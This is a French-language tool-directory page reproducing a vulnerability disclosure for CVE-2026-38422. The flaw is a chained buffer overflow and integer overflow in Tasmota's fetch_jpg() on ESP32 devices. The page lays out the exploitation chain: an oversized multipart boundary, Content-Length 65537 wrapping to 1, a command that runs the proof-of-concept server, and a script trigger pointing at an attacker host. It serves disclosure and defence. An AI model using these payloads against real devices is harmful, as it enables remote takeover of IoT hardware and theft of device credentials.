Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Exécution de code à distance via des débordements de tampon combinés dans Tasmota fetch_jpg() (Tasmota <= 15.3.0.3) | Kitploit
Outils/GitHubGitHub/sermikr0/cve-2026-38422
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité Matériel et IoTOutil d'Accès à DistanceExploitation de Binaires
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Exécution de code à distance via des débordements de tampon combinés dans Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)

14il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-38422 : Exécution de code à distance via des débordements de tampon combinés dans la fonction fetch_jpg() de Tasmota

CVE : CVE-2026-38422
Sévérité : Critique (CVSS 9,8)
Produit : Arendst Tasmota
Version affectée : <= 15.3.0.3
Fichier : tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Fonction : fetch_jpg()
Auteur : Saidakbarxon Maxsudxonov
Divulgation : Responsable — signalé à Tasmota avant publication


Résumé

La fonction fetch_jpg() du pilote de scripteur de Tasmota (xdrv_10_scripter.ino) contient deux vulnérabilités de corruption mémoire qui, combinées, permettent l'exécution de code à distance sur les appareils basés sur ESP32 exécutant Tasmota <= 15.3.0.3 :

  1. Phase 1 (cas 0) : Débordement strcpy() dans un tampon boundary[] fixe de 40 octets — corrompt la mémoire heap adjacente, y compris les pointeurs de vtable WiFiClient/HTTPClient (voir aussi CVE-2026-38426)
  2. Phase 2 (cas 2) : Dépassement d'entier uint16_t sur Content-Length — alloue un tampon trop petit provoquant la corruption de l'état du flux (voir aussi CVE-2026-38427)

Utilisées ensemble lors d'une seule attaque, ces deux primitives maximisent la corruption du heap et augmentent significativement la probabilité d'obtenir une exécution de code arbitraire.


Chaîne de vulnérabilité

Serveur MJPEG de l'attaquant
       │
       │ Phase 1 : Réponse HTTP 200 avec une chaîne de séparation longue
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ caractères)
       │   → strcpy(boundary[40], 50_caractères) → DÉBORDEMENT
       │   → Pointeur vtable WiFiClient partiellement écrasé
       ▼
  Heap ESP32 corrompu
       │
       │ Phase 2 : Image MJPEG avec Content-Length > 65535
       │   Content-Length : 65537
       │   → uint16_t size = 1 (dépassement)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 octets restent dans le flux → corruption heap/flux
       ▼
  Double corruption → Exécution de code / Déni de service garanti

Preuve de concept

# Attaque combinée — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

Le serveur PoC :

  1. Accepte la connexion de Tasmota (déclenchement de fetchjp())
  2. Phase 1 : Envoie une réponse HTTP 200 initiale avec une chaîne de séparation de 80 caractères (débordement)
  3. Phase 2 : Envoie des images MJPEG avec Content-Length : 65537 (dépassement)

Voir CVE-2026-38422_poc.py pour l'implémentation complète.


Déclenchement via un script Tasmota

>D
>B
fetchjp(ADRESSE_ATTAQUANT:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

L'appareil doit exécuter un script Tasmota utilisant fetchjp(). L'attaquant contrôle le serveur auquel l'appareil se connecte (ou effectue une attaque MITM sur une connexion existante).


Impact

  • Confidentialité : Élevée — exécution de code sur ESP32, accès aux secrets/identifiants de l'appareil
  • Intégrité : Élevée — prise de contrôle totale de l'appareil
  • Disponibilité : Élevée — plantage/boucle de redémarrage garantie
  • Vecteur d'attaque : Réseau (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Score CVSS : 9,8 Critique

Appareils affectés

Tout appareil Tasmota basé sur ESP32 exécutant une version <= 15.3.0.3 avec le support du scripteur activé et un script utilisant fetchjp() pour se connecter à un serveur MJPEG externe.


Chronologie

  • 2026-03-29 : Les deux vulnérabilités découvertes et signalées à MITRE
  • 2026-03-29 : CVE-2026-38422 attribué
  • 2026-05-xx : Correctif publié par Tasmota (v15.3.0.4+)

Références

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Lié : CVE-2026-38426 (débordement strcpy)
  • Lié : CVE-2026-38427 (dépassement uint16_t)
Télécharger l’outil